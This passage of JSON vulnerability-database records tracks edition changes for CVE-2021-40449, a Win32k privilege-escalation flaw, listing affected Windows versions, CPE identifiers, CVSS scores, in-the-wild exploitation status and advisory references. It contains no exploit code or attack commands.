"https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-40449", "id": "CVE-2021-40449", "immutableFields": [], "lastseen": "2021-10-20T07:33:14", "modified": "2021-10-19T22:36:00", "objectVersion": "1.6", "published": "2021-10-13T01:15:00", "references": ["https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40449"], "reporter": "secure@microsoft.com", "title": "CVE-2021-40449", "type": "cve", "viewCount": 96}, "different_elements": ["extraReferences", "references", "modified"], "edition": 3, "lastseen": "2021-10-20T07:33:14"}, {"bulletin": {"affectedConfiguration": [], "affectedSoftware": [{"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "1809"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "1809"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "1809"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "1607"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "1607"}, {"cpeName": "microsoft:windows_server_2008", "name": "microsoft windows server 2008", "operator": "eq", "version": "r2"}, {"cpeName": "microsoft:windows_rt_8.1", "name": "microsoft windows rt 8.1", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_server_2019", "name": "microsoft windows server 2019", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_server", "name": "microsoft windows server", "operator": "eq", "version": "20h2"}, {"cpeName": "microsoft:windows_server_2012", "name": "microsoft windows server 2012", "operator": "eq", "version": "r2"}, {"cpeName": "microsoft:windows_server_2022", "name": "microsoft windows server 2022", "operator": "eq", "version": "*"}, {"cpeName": "microsoft:windows_server_2008", "name": "microsoft windows server 2008", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_server_2008", "name": "microsoft windows server 2008", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_server", "name": "microsoft windows server", "operator": "eq", "version": "2004"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "21h1"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "21h1"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "21h1"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "2004"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "2004"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "2004"}, {"cpeName": "microsoft:windows_server_2012", "name": "microsoft windows server 2012", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_8.1", "name": "microsoft windows 8.1", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_8.1", "name": "microsoft windows 8.1", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "20h2"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "20h2"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "20h2"}, {"cpeName": "microsoft:windows_7", "name": "microsoft windows 7", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_7", "name": "microsoft windows 7", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "1909"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "1909"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "1909"}, {"cpeName": "microsoft:windows_server_2016", "name": "microsoft windows server 2016", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_11", "name": "microsoft windows 11", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_11", "name": "microsoft windows 11", "operator": "eq", "version": "-"}], "bulletinFamily": "NVD", "cpe": ["cpe:/o:microsoft:windows_server_2019:-", "cpe:/o:microsoft:windows_rt_8.1:-", "cpe:/o:microsoft:windows_server_2008:-", "cpe:/o:microsoft:windows_10:21h1", "cpe:/o:microsoft:windows_server_2012:r2", "cpe:/o:microsoft:windows_10:-", "cpe:/o:microsoft:windows_server_2022:*", "cpe:/o:microsoft:windows_server:20h2", "cpe:/o:microsoft:windows_server_2012:-", "cpe:/o:microsoft:windows_10:1607", "cpe:/o:microsoft:windows_10:1809", "cpe:/o:microsoft:windows_10:1909", "cpe:/o:microsoft:windows_server:2004", "cpe:/o:microsoft:windows_server_2008:r2", "cpe:/o:microsoft:windows_8.1:-", "cpe:/o:microsoft:windows_10:20h2", "cpe:/o:microsoft:windows_10:2004", "cpe:/o:microsoft:windows_server_2016:-", "cpe:/o:microsoft:windows_7:-", "cpe:/o:microsoft:windows_11:-"], "cpe23": ["cpe:2.3:o:microsoft:windows_server_2019:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:x86:*", "cpe:2.3:o:microsoft:windows_10:2004:*:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_7:-:sp1:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_rt_8.1:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:x86:*", "cpe:2.3:o:microsoft:windows_10:2004:*:*:*:*:*:x86:*", "cpe:2.3:o:microsoft:windows_10:-:*:*:*:*:*:x86:*", "cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:arm64:*", "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:arm64:*", "cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:arm64:*", "cpe:2.3:o:microsoft:windows_10:-:*:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:x86:*", "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2016:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1607:*:*:*:*:*:x86:*", "cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_8.1:-:*:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_8.1:-:*:*:*:*:*:x86:*", "cpe:2.3:o:microsoft:windows_11:-:*:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_server:20h2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x86:*", "cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_10:2004:*:*:*:*:*:arm64:*", "cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:x86:*", "cpe:2.3:o:microsoft:windows_10:1607:*:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:arm64:*", "cpe:2.3:o:microsoft:windows_7:-:sp1:*:*:*:*:x86:*", "cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server:2004:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_11:-:*:*:*:*:*:arm64:*"], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"children": [], "cpe_match": [{"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:x64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:arm64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1607:*:*:*:*:*:x86:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server:20h2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:x86:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_11:-:*:*:*:*:*:x64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_11:-:*:*:*:*:*:arm64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:x86:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:arm64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:x64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:2004:*:*:*:*:*:arm64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:x64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:2004:*:*:*:*:*:x64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1607:*:*:*:*:*:x64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_7:-:sp1:*:*:*:*:x64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2019:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_8.1:-:*:*:*:*:*:x64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:x86:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2016:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server:2004:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:-:*:*:*:*:*:x86:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:x64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:x86:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x86:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:arm64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_7:-:sp1:*:*:*:*:x86:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:-:*:*:*:*:*:x64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_rt_8.1:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_8.1:-:*:*:*:*:*:x86:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:2004:*:*:*:*:*:x86:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:arm64:*", "cpe_name": [], "vulnerable": true}], "operator": "OR"}]}, "cvelist": ["CVE-2021-40449"], "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.6, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "cwe": ["CWE-269"], "description": "Win32k Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-40450, CVE-2021-41357.", "edition": 5, "enchantments": {"dependencies": {"modified": "2021-11-26T16:57:16", "references": [{"idList": ["CPAI-2021-0739"], "type": "checkpoint_advisories"}, {"idList": ["SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006670.NASL"], "type": "nessus"}, {"idList": ["1337DAY-ID-37026"], "type": "zdt"}, {"idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"], "type": "qualysblog"}, {"idList": ["PACKETSTORM:164926"], "type": "packetstorm"}, {"idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"], "type": "thn"}, {"idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038", "SECURELIST:1F59148E6615695438F94EF4956585AA"], "type": "securelist"}, {"idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"], "type": "attackerkb"}, {"idList": ["RAPID7BLOG:7805FE8CEF45482B462D2B4F7A9F7F75", "RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"], "type": "rapid7blog"}, {"idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"], "type": "avleonov"}, {"idList": ["059CF457-59E4-5647-A0BC-0014C543D6D3", "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "B45F7278-2C20-5C06-B834-59D960047852", "94F9D54F-CE33-561C-A65A-3C28F00AF2AD"], "type": "githubexploit"}, {"idList": ["CISA:D12090E3D1C36426271DE8458FFF31E4"], "type": "cisa"}, {"idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"], "type": "hivepro"}, {"idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"], "type": "malwarebytes"}, {"idList": ["THREATPOST:8836AC81C1F2D9654424EC1584E50A16", "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"], "type": "threatpost"}, {"idList": ["KLA12309", "KLA12310"], "type": "kaspersky"}, {"idList": ["MS:CVE-2021-40449"], "type": "mscve"}, {"idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"], "type": "krebs"}], "rev": 2}, "exploitation": {"modified": "2021-11-26T16:57:16", "wildExploited": true, "wildExploitedSources": [{"idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"], "type": "attackerkb"}]}, "score": {"modified": "2021-11-26T16:57:16", "rev": 2, "value": 4.4, "vector": "NONE"}}, "extraReferences": [{"name": "http://packetstormsecurity.com/files/164926/Win32k-NtGdiResetDC-Use-After-Free-Local-Privilege-Escalation.html", "refsource": "MISC", "tags": [], "url": "http://packetstormsecurity.com/files/164926/Win32k-NtGdiResetDC-Use-After-Free-Local-Privilege-Escalation.html"}, {"name": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40449", "refsource": "MISC", "tags": ["Patch", "Vendor Advisory"], "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40449"}], "hash": "4482027ff8bfbffe524a0c971be1c41e1034f8c77d65aa00421466ee91eccd22", "hashmap": [{"hash": "a12b81fd55c2f86c58072a8b56df1494", "key": "cwe"}, {"hash": "beb519effad5780952ea4ce1697a49ad", "key": "cvss3"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "immutableFields"}, {"hash": "964e530b6f5e8648bc069d8532cc97e2", "key": "published"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "affectedConfiguration"}, {"hash": "17af6aa290117c1541fd37855f304223", "key": "href"}, {"hash": "3bd5d7a4c3f96a3e83956f290d0b41cb", "key": "affectedSoftware"}, {"hash": "967b1e742d4f56cd9f44ac8ea85a3610", "key": "cpeConfiguration"}, {"hash": "f6777e604eff0d8f6944def1db04e18a", "key": "description"}, {"hash": "b92dd74d24db6294778aaa397ecb14be", "key": "references"}, {"hash": "73c290e02a16f86c63d57737dbd7a218", "key": "title"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "78374129a99751f5c9b8de52dbad0386", "key": "cpe23"}, {"hash": "89ef9e1599bb6c12f7df140ce178deff", "key": "cpe"}, {"hash": "029dfc07c499dc142a429cac0a029e99", "key": "reporter"}, {"hash": "6f6410364e4cee78bd47ed1fc3d8dd5b", "key": "cvss"}, {"hash": "3dc697dc98b8d7b72593bf57e5a9bfd8", "key": "cvelist"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "9da04b1b52a5a41f1c24f693c2b01cf8", "key": "modified"}, {"hash": "481d2e69992f5a7543d43b8dcf24da87", "key": "extraReferences"}, {"hash": "a6adb76bd2d2e833d4aee455da4b36c3", "key": "cvss2"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-40449", "id": "CVE-2021-40449", "immutableFields": [], "lastseen": "2021-11-26T16:57:16", "modified": "2021-11-10T20:15:00", "objectVersion": "1.6", "published": "2021-10-13T01:15:00", "references": ["http://packetstormsecurity.com/files/164926/Win32k-NtGdiResetDC-Use-After-Free-Local-Privilege-Escalation.html", "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40449"], "reporter": "secure@microsoft.com", "title": "CVE-2021-40449", "type": "cve", "viewCount": 124}, "different_elements": ["extraReferences", "cpe23", "modified", "cpe", "affectedSoftware", "cpeConfiguration"], "edition": 5, "lastseen": "2021-11-26T16:57:16"}, {"bulletin": {"affectedConfiguration": [], "affectedSoftware": [{"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "1809"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "1809"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "1809"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "1607"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "1607"}, {"cpeName": "microsoft:windows_server_2008", "name": "microsoft windows server 2008", "operator": "eq", "version": "r2"}, {"cpeName": "microsoft:windows_rt_8.1", "name": "microsoft windows rt 8.1", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_server_2019", "name": "microsoft windows server 2019", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_server", "name": "microsoft windows server", "operator": "eq", "version": "20h2"}, {"cpeName": "microsoft:windows_server_2012", "name": "microsoft windows server 2012", "operator": "eq", "version": "r2"}, {"cpeName": "microsoft:windows_server_2022", "name": "microsoft windows server 2022", "operator": "eq", "version": "*"}, {"cpeName": "microsoft:windows_server_2008", "name": "microsoft windows server 2008", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_server_2008", "name": "microsoft windows server 2008", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_server", "name": "microsoft windows server", "operator": "eq", "version": "2004"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "21h1"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "21h1"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "21h1"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "2004"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "2004"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "2004"}, {"cpeName": "microsoft:windows_server_2012", "name": "microsoft windows server 2012", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_8.1", "name": "microsoft windows 8.1", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_8.1", "name": "microsoft windows 8.1", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "20h2"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "20h2"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "20h2"}, {"cpeName": "microsoft:windows_7", "name": "microsoft windows 7", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_7", "name": "microsoft windows 7", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "1909"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "1909"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "1909"}, {"cpeName": "microsoft:windows_server_2016", "name": "microsoft windows server 2016", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_11", "name": "microsoft windows 11", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_11", "name": "microsoft windows 11", "operator": "eq", "version": "-"}], "bulletinFamily": "NVD", "cpe": ["cpe:/o:microsoft:windows_server_2019:-", "cpe:/o:microsoft:windows_rt_8.1:-", "cpe:/o:microsoft:windows_server_2008:-", "cpe:/o:microsoft:windows_10:21h1", "cpe:/o:microsoft:windows_server_2012:r2", "cpe:/o:microsoft:windows_10:-", "cpe:/o:microsoft:windows_server_2022:*", "cpe:/o:microsoft:windows_server:20h2", "cpe:/o:microsoft:windows_server_2012:-", "cpe:/o:microsoft:windows_10:1607", "cpe:/o:microsoft:windows_10:1809", "cpe:/o:microsoft:windows_10:1909", "cpe:/o:microsoft:windows_server:2004", "cpe:/o:microsoft:windows_server_2008:r2", "cpe:/o:microsoft:windows_8.1:-", "cpe:/o:microsoft:windows_10:20h2", "cpe:/o:microsoft:windows_10:2004", "cpe:/o:microsoft:windows_server_2016:-", "cpe:/o:microsoft:windows_7:-", "cpe:/o:microsoft:windows_11:-"], "cpe23": ["cpe:2.3:o:microsoft:windows_server_2019:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:x86:*", "cpe:2.3:o:microsoft:windows_10:2004:*:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_7:-:sp1:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_rt_8.1:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:x86:*", "cpe:2.3:o:microsoft:windows_10:2004:*:*:*:*:*:x86:*", "cpe:2.3:o:microsoft:windows_10:-:*:*:*:*:*:x86:*", "cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:arm64:*", "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:arm64:*", "cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:arm64:*", "cpe:2.3:o:microsoft:windows_10:-:*:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:x86:*", "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2016:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1607:*:*:*:*:*:x86:*", "cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_8.1:-:*:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_8.1:-:*:*:*:*:*:x86:*", "cpe:2.3:o:microsoft:windows_11:-:*:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_server:20h2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x86:*", "cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_10:2004:*:*:*:*:*:arm64:*", "cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:x86:*", "cpe:2.3:o:microsoft:windows_10:1607:*:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:arm64:*", "cpe:2.3:o:microsoft:windows_7:-:sp1:*:*:*:*:x86:*", "cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server:2004:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_11:-:*:*:*:*:*:arm64:*"], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"children": [], "cpe_match": [{"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:x64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:arm64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1607:*:*:*:*:*:x86:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server:20h2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:x86:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_11:-:*:*:*:*:*:x64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_11:-:*:*:*:*:*:arm64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:x86:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:arm64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:x64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:2004:*:*:*:*:*:arm64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:x64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:2004:*:*:*:*:*:x64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1607:*:*:*:*:*:x64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_7:-:sp1:*:*:*:*:x64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2019:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, 